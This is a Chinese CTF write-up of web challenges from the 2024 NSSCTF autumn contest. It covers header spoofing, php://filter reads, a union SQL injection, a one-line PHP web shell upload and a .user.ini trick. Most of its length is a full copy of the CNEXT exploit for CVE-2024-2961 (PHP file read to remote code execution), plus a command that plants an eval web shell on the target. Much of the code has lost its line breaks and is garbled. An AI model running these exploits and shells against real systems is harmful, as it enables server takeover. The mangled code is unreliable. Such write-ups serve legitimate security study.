0


2024年NSSCTF秋季招新赛-WEB

The Beginning

F12看源码,有flag

在这里插入图片描述

http标头

黑吗喽

题目说要在发售时的0点0分,所以添加标头data

  1. Date: Tue, 20 Aug 2024 00:00:00 GMT

在这里插入图片描述然后改浏览器头

  1. User-Agent: BlackMonkey

在这里插入图片描述
曲奇就是Cookie

  1. cookie=BlackMonkey

在这里插入图片描述这个一般就是Referer

  1. Referer:wukong

在这里插入图片描述XFF伪造本地标头

  1. X-Forwarded-For:127.0.0.1

在这里插入图片描述

PHP躲猫猫

先按提示get和post一个NSS

  1. GET ?NSS=1
  2. POST: NSS=1

然后到/getfile.php看看

在这里插入图片描述
源码很简单

/?CTF=s155964671a&ATM=s214587387a

然后直接伪协议读取

读取hello.php

  1. NSS=php://filter/convert.base64-encode/resource=hello.php

在这里插入图片描述然后看这个cve,就是编码的cve

NSS=php://filter/convert.iconv.utf-8.utf-7/resource=/f1ag

得到flag

ez_sql

闭合方式就是常见的 1’#

直接联合查询一套过去就行。

  1. -1 order by 5#
  2. -1' union select 1,2,3,group_concat(id,0x7c,id,0x7c,data) from flag#

在这里插入图片描述得到flag

UploadBaby

直接传一句话木马就行,没有过滤
在这里插入图片描述到shell.php里面读取

在这里插入图片描述

怎么多了个没用的php文件

也是道文件上传题,里面有个nothing.php

这里的php文件都不能上传,过滤的很全,但是可以上传user.ini ,在打其他题目时,应该也会使用这个文件,使用语法时,它可以将其他后缀的文件解析为php文件。

但是,user.ini当目录里有php文件时,会自动将我们解析的后缀文件添加到这个php文件中。

在这里插入图片描述在这里插入图片描述在这里插入图片描述然后到notion.php里面直接读取就行

The future

这个的话直接?file=/flag就行

在这里插入图片描述

青春莫尔斯冲锋狙不会梦到pro速帕里46轮椅人

直接取反绕过即可

在这里插入图片描述phpinfo里面有flag

脚本:

  1. #__coding:utf-8__defqufan(shell):for i in shell:
  2. hexbit=''.join(hex(~(-(256-ord(i)))))print(hexbit.replace('0x','%'),end='')
  3. qufan('system')print(' ')
  4. qufan('ls')

看看ip

这个挺离谱的,是一个ssti应该,但是能直接命令执行

在这里插入图片描述

The future Revenge

这个题是一个cve,之前basectf的fin出了这个题

CVE-2024-2961

  1. #!/usr/bin/env python3## CNEXT: PHP file-read to RCE (CVE-2024-2961)# Date: 2024-05-27# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)## TODO Parse LIBC to know if patched## INFORMATIONS## To use, implement the Remote class, which tells the exploit how to send the payload.#from __future__ import annotations
  2. import base64
  3. import zlib
  4. from dataclasses import dataclass
  5. from requests.exceptions import ConnectionError, ChunkedEncodingError
  6. from pwn import*from ten import*
  7. HEAP_SIZE =2*1024*1024
  8. BUG ="劄".encode("utf-8")classRemote:"""A helper class to send the payload and download files.
  9. The logic of the exploit is always the same, but the exploit needs to know how to
  10. download files (/proc/self/maps and libc) and how to send the payload.
  11. The code here serves as an example that attacks a page that looks like:
  12. ```php
  13. <?php
  14. $data = file_get_contents($_POST['file']);
  15. echo "File contents: $data";
  16. ```
  17. Tweak it to fit your target, and start the exploit.
  18. """def__init__(self, url:str)->None:
  19. self.url = url
  20. self.session = Session()defsend(self, path:str)-> Response:"""Sends given `path` to the HTTP server. Returns the response.
  21. """return self.session.post(self.url, data={"file": path})defdownload(self, path:str)->bytes:"""Returns the contents of a remote file.
  22. """
  23. path =f"php://filter/convert.base64-encode/resource={path}"
  24. response = self.send(path)
  25. data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)return base64.decode(data)@entry@arg("url","Target URL")@arg("command","Command to run on the system; limited to 0x140 bytes")@arg("sleep_time","Time to sleep to assert that the exploit worked. By default, 1.")@arg("heap","Address of the main zend_mm_heap structure.")@arg("pad","Number of 0x100 chunks to pad with. If the website makes a lot of heap ""operations with this size, increase this. Defaults to 20.",)@dataclassclassExploit:"""CNEXT exploit: RCE using a file read primitive in PHP."""
  26. url:str
  27. command:str
  28. sleep:int=1
  29. heap:str=None
  30. pad:int=20def__post_init__(self):
  31. self.remote = Remote(self.url)
  32. self.log = logger("EXPLOIT")
  33. self.info ={}
  34. self.heap = self.heap andint(self.heap,16)defcheck_vulnerable(self)->None:"""Checks whether the target is reachable and properly allows for the various
  35. wrappers and filters that the exploit needs.
  36. """defsafe_download(path:str)->bytes:try:return self.remote.download(path)except ConnectionError:
  37. failure("Target not [b]reachable[/] ?")defcheck_token(text:str, path:str)->bool:
  38. result = safe_download(path)return text.encode()== result
  39. text = tf.random.string(50).encode()
  40. base64 = b64(text, misalign=True).decode()
  41. path =f"data:text/plain;base64,{base64}"
  42. result = safe_download(path)if text notin result:
  43. msg_failure("Remote.download did not return the test string")print("--------------------")print(f"Expected test string: {text}")print(f"Got: {result}")print("--------------------")
  44. failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
  45. msg_info("The [i]data://[/] wrapper works")
  46. text = tf.random.string(50)
  47. base64 = b64(text.encode(), misalign=True).decode()
  48. path =f"php://filter//resource=data:text/plain;base64,{base64}"ifnot check_token(text, path):
  49. failure("The [i]php://filter/[/] wrapper does not work")
  50. msg_info("The [i]php://filter/[/] wrapper works")
  51. text = tf.random.string(50)
  52. base64 = b64(compress(text.encode()), misalign=True).decode()
  53. path =f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"ifnot check_token(text, path):
  54. failure("The [i]zlib[/] extension is not enabled")
  55. msg_info("The [i]zlib[/] extension is enabled")
  56. msg_success("Exploit preconditions are satisfied")defget_file(self, path:str)->bytes:with msg_status(f"Downloading [i]{path}[/]..."):return self.remote.download(path)defget_regions(self)->list[Region]:"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
  57. maps = self.get_file("/proc/self/maps")
  58. maps = maps.decode()
  59. PATTERN = re.compile(r"^([a-f0-9]+)-([a-f0-9]+)\b"r".*"r"\s([-rwx]{3}[ps])\s"r"(.*)")
  60. regions =[]for region in table.split(maps, strip=True):ifmatch:= PATTERN.match(region):
  61. start =int(match.group(1),16)
  62. stop =int(match.group(2),16)
  63. permissions =match.group(3)
  64. path =match.group(4)if"/"in path or"["in path:
  65. path = path.rsplit(" ",1)[-1]else:
  66. path =""
  67. current = Region(start, stop, permissions, path)
  68. regions.append(current)else:print(maps)
  69. failure("Unable to parse memory mappings")
  70. self.log.info(f"Got {len(regions)} memory regions")return regions
  71. defget_symbols_and_addresses(self)->None:"""Obtains useful symbols and addresses from the file read primitive."""
  72. regions = self.get_regions()
  73. LIBC_FILE ="/dev/shm/cnext-libc"# PHP's heap
  74. self.info["heap"]= self.heap or self.find_main_heap(regions)# Libc
  75. libc = self._get_region(regions,"libc-","libc.so")
  76. self.download_file(libc.path, LIBC_FILE)
  77. self.info["libc"]= ELF(LIBC_FILE, checksec=False)
  78. self.info["libc"].address = libc.start
  79. def_get_region(self, regions:list[Region],*names:str)-> Region:"""Returns the first region whose name matches one of the given names."""for region in regions:ifany(name in region.path for name in names):breakelse:
  80. failure("Unable to locate region")return region
  81. defdownload_file(self, remote_path:str, local_path:str)->None:"""Downloads `remote_path` to `local_path`"""
  82. data = self.get_file(remote_path)
  83. Path(local_path).write(data)deffind_main_heap(self, regions:list[Region])-> Region:# Any anonymous RW region with a size superior to the base heap size is a# candidate. The heap is at the bottom of the region.
  84. heaps =[
  85. region.stop - HEAP_SIZE +0x40for region inreversed(regions)if region.permissions =="rw-p"and region.size >= HEAP_SIZE
  86. and region.stop &(HEAP_SIZE-1)==0and region.path in("","[anon:zend_alloc]")]ifnot heaps:
  87. failure("Unable to find PHP's main heap in memory")
  88. first = heaps[0]iflen(heaps)>1:
  89. heaps =", ".join(map(hex, heaps))
  90. msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")else:
  91. msg_info(f"Using [i]{hex(first)}[/] as heap")return first
  92. defrun(self)->None:
  93. self.check_vulnerable()
  94. self.get_symbols_and_addresses()
  95. self.exploit()defbuild_exploit_path(self)->str:"""On each step of the exploit, a filter will process each chunk one after the
  96. other. Processing generally involves making some kind of operation either
  97. on the chunk or in a destination chunk of the same size. Each operation is
  98. applied on every single chunk; you cannot make PHP apply iconv on the first 10
  99. chunks and leave the rest in place. That's where the difficulties come from.
  100. Keep in mind that we know the address of the main heap, and the libraries.
  101. ASLR/PIE do not matter here.
  102. The idea is to use the bug to make the freelist for chunks of size 0x100 point
  103. lower. For instance, we have the following free list:
  104. ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00
  105. By triggering the bug from chunk ..900, we get:
  106. ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???
  107. That's step 3.
  108. Now, in order to control the free list, and make it point whereever we want,
  109. we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
  110. we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
  111. That's step 2.
  112. Now, if we were to perform step2 an then step3 without anything else, we'd have
  113. a problem: after step2 has been processed, the free list goes bottom-up, like:
  114. 0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900
  115. We need to go the other way around. That's why we have step 1: it just allocates
  116. chunks. When they get freed, they reverse the free list. Now step2 allocates in
  117. reverse order, and therefore after step2, chunks are in the correct order.
  118. Another problem comes up.
  119. To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
  120. Since step2 creates chunks that contain pointers and pointers are generally not
  121. UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
  122. To avoid this, we put the chunks in step2 at the very end of the chain, and
  123. prefix them with `0\n`. When dechunked (right before the iconv), they will
  124. "disappear" from the chain, preserving them from the character set conversion
  125. and saving us from an unwanted processing error that would stop the processing
  126. chain.
  127. After step3 we have a corrupted freelist with an arbitrary pointer into it. We
  128. don't know the precise layout of the heap, but we know that at the top of the
  129. heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
  130. Its free_slot[] array contains a pointer to each free list. By overwriting it,
  131. we can make PHP allocate chunks whereever we want. In addition, its custom_heap
  132. field contains pointers to hook functions for emalloc, efree, and erealloc
  133. (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
  134. then overwrite the use_custom_heap flag to make PHP use these function pointers
  135. instead. We can now do our favorite CTF technique and get a call to
  136. system(<chunk>).
  137. We make sure that the "system" command kills the current process to avoid other
  138. system() calls with random chunk data, leading to undefined behaviour.
  139. The pad blocks just "pad" our allocations so that even if the heap of the
  140. process is in a random state, we still get contiguous, in order chunks for our
  141. exploit.
  142. Therefore, the whole process described here CANNOT crash. Everything falls
  143. perfectly in place, and nothing can get in the middle of our allocations.
  144. """
  145. LIBC = self.info["libc"]
  146. ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
  147. ADDR_EFREE = LIBC.symbols["__libc_system"]
  148. ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
  149. ADDR_HEAP = self.info["heap"]
  150. ADDR_FREE_SLOT = ADDR_HEAP +0x20
  151. ADDR_CUSTOM_HEAP = ADDR_HEAP +0x0168
  152. ADDR_FAKE_BIN = ADDR_FREE_SLOT -0x10
  153. CS =0x100# Pad needs to stay at size 0x100 at every step
  154. pad_size = CS -0x18
  155. pad =b"\x00"* pad_size
  156. pad = chunked_chunk(pad,len(pad)+6)
  157. pad = chunked_chunk(pad,len(pad)+6)
  158. pad = chunked_chunk(pad,len(pad)+6)
  159. pad = compressed_bucket(pad)
  160. step1_size =1
  161. step1 =b"\x00"* step1_size
  162. step1 = chunked_chunk(step1)
  163. step1 = chunked_chunk(step1)
  164. step1 = chunked_chunk(step1, CS)
  165. step1 = compressed_bucket(step1)# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
  166. step2_size =0x48
  167. step2 =b"\x00"*(step2_size +8)
  168. step2 = chunked_chunk(step2, CS)
  169. step2 = chunked_chunk(step2)
  170. step2 = compressed_bucket(step2)
  171. step2_write_ptr =b"0\n".ljust(step2_size,b"\x00")+ p64(ADDR_FAKE_BIN)
  172. step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
  173. step2_write_ptr = chunked_chunk(step2_write_ptr)
  174. step2_write_ptr = compressed_bucket(step2_write_ptr)
  175. step3_size = CS
  176. step3 =b"\x00"* step3_size
  177. assertlen(step3)== CS
  178. step3 = chunked_chunk(step3)
  179. step3 = chunked_chunk(step3)
  180. step3 = chunked_chunk(step3)
  181. step3 = compressed_bucket(step3)
  182. step3_overflow =b"\x00"*(step3_size -len(BUG))+ BUG
  183. assertlen(step3_overflow)== CS
  184. step3_overflow = chunked_chunk(step3_overflow)
  185. step3_overflow = chunked_chunk(step3_overflow)
  186. step3_overflow = chunked_chunk(step3_overflow)
  187. step3_overflow = compressed_bucket(step3_overflow)
  188. step4_size = CS
  189. step4 =b"=00"+b"\x00"*(step4_size -1)
  190. step4 = chunked_chunk(step4)
  191. step4 = chunked_chunk(step4)
  192. step4 = chunked_chunk(step4)
  193. step4 = compressed_bucket(step4)# This chunk will eventually overwrite mm_heap->free_slot# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
  194. step4_pwn = ptr_bucket(0x200000,0,# free_slot0,0,
  195. ADDR_CUSTOM_HEAP,# 0x180,0,0,0,0,0,0,0,0,0,0,0,0,
  196. ADDR_HEAP,# 0x1400,0,0,0,0,0,0,0,0,0,0,0,0,
  197. size=CS,)
  198. step4_custom_heap = ptr_bucket(
  199. ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18)
  200. step4_use_custom_heap_size =0x140
  201. COMMAND = self.command
  202. COMMAND =f"kill -9 $PPID; {COMMAND}"if self.sleep:
  203. COMMAND =f"sleep {self.sleep}; {COMMAND}"
  204. COMMAND = COMMAND.encode()+b"\x00"assert(len(COMMAND)<= step4_use_custom_heap_size
  205. ),f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
  206. COMMAND = COMMAND.ljust(step4_use_custom_heap_size,b"\x00")
  207. step4_use_custom_heap = COMMAND
  208. step4_use_custom_heap = qpe(step4_use_custom_heap)
  209. step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
  210. step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
  211. step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
  212. step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
  213. pages =(
  214. step4 *3+ step4_pwn
  215. + step4_custom_heap
  216. + step4_use_custom_heap
  217. + step3_overflow
  218. + pad * self.pad
  219. + step1 *3+ step2_write_ptr
  220. + step2 *2)
  221. resource = compress(compress(pages))
  222. resource = b64(resource)
  223. resource =f"data:text/plain;base64,{resource.decode()}"
  224. filters =[# Create buckets"zlib.inflate","zlib.inflate",# Step 0: Setup heap"dechunk","convert.iconv.L1.L1",# Step 1: Reverse FL order"dechunk","convert.iconv.L1.L1",# Step 2: Put fake pointer and make FL order back to normal"dechunk","convert.iconv.L1.L1",# Step 3: Trigger overflow"dechunk","convert.iconv.UTF-8.ISO-2022-CN-EXT",# Step 4: Allocate at arbitrary address and change zend_mm_heap"convert.quoted-printable-decode","convert.iconv.L1.L1",]
  225. filters ="|".join(filters)
  226. path =f"php://filter/read={filters}/resource={resource}"return path
  227. @inform("Triggering...")defexploit(self)->None:
  228. path = self.build_exploit_path()
  229. start = time.time()try:
  230. self.remote.send(path)except(ConnectionError, ChunkedEncodingError):pass
  231. msg_print()ifnot self.sleep:
  232. msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")elif start + self.sleep <= time.time():
  233. msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")else:# Wrong heap, maybe? If the exploited suggested others, use them!
  234. msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
  235. msg_print()defcompress(data)->bytes:"""Returns data suitable for `zlib.inflate`.
  236. """# Remove 2-byte header and 4-byte checksumreturn zlib.compress(data,9)[2:-4]defb64(data:bytes, misalign=True)->bytes:
  237. payload = base64.encode(data)ifnot misalign and payload.endswith("="):raise ValueError(f"Misaligned: {data}")return payload.encode()defcompressed_bucket(data:bytes)->bytes:"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""return chunked_chunk(data,0x8000)defqpe(data:bytes)->bytes:"""Emulates quoted-printable-encode.
  238. """return"".join(f"={x:02x}"for x in data).upper().encode()defptr_bucket(*ptrs, size=None)->bytes:"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""if size isnotNone:assertlen(ptrs)*8== size
  239. bucket =b"".join(map(p64, ptrs))
  240. bucket = qpe(bucket)
  241. bucket = chunked_chunk(bucket)
  242. bucket = chunked_chunk(bucket)
  243. bucket = chunked_chunk(bucket)
  244. bucket = compressed_bucket(bucket)return bucket
  245. defchunked_chunk(data:bytes, size:int=None)->bytes:"""Constructs a chunked representation of the given chunk. If size is given, the
  246. chunked representation has size `size`.
  247. For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
  248. """# The caller does not care about the size: let's just add 8, which is more than# enoughif size isNone:
  249. size =len(data)+8
  250. keep =len(data)+len(b"\n\n")
  251. size =f"{len(data):x}".rjust(size - keep,"0")return size.encode()+b"\n"+ data +b"\n"@dataclassclassRegion:"""A memory region."""
  252. start:int
  253. stop:int
  254. permissions:str
  255. path:str@propertydefsize(self)->int:return self.stop - self.start
  256. Exploit()

命令

  1. python3 l.py http://node9.anna.nssctf.cn:27441/ "echo '<?php eval(\$_POST[0]);?>'>/var/www/html/film.php;"

直接跑就行

标签: 网络安全

本文转载自: https://blog.csdn.net/2301_80148821/article/details/143292223
版权归原作者 follycat 所有, 如有侵权,请联系我们删除。

“2024年NSSCTF秋季招新赛-WEB”的评论:

还没有评论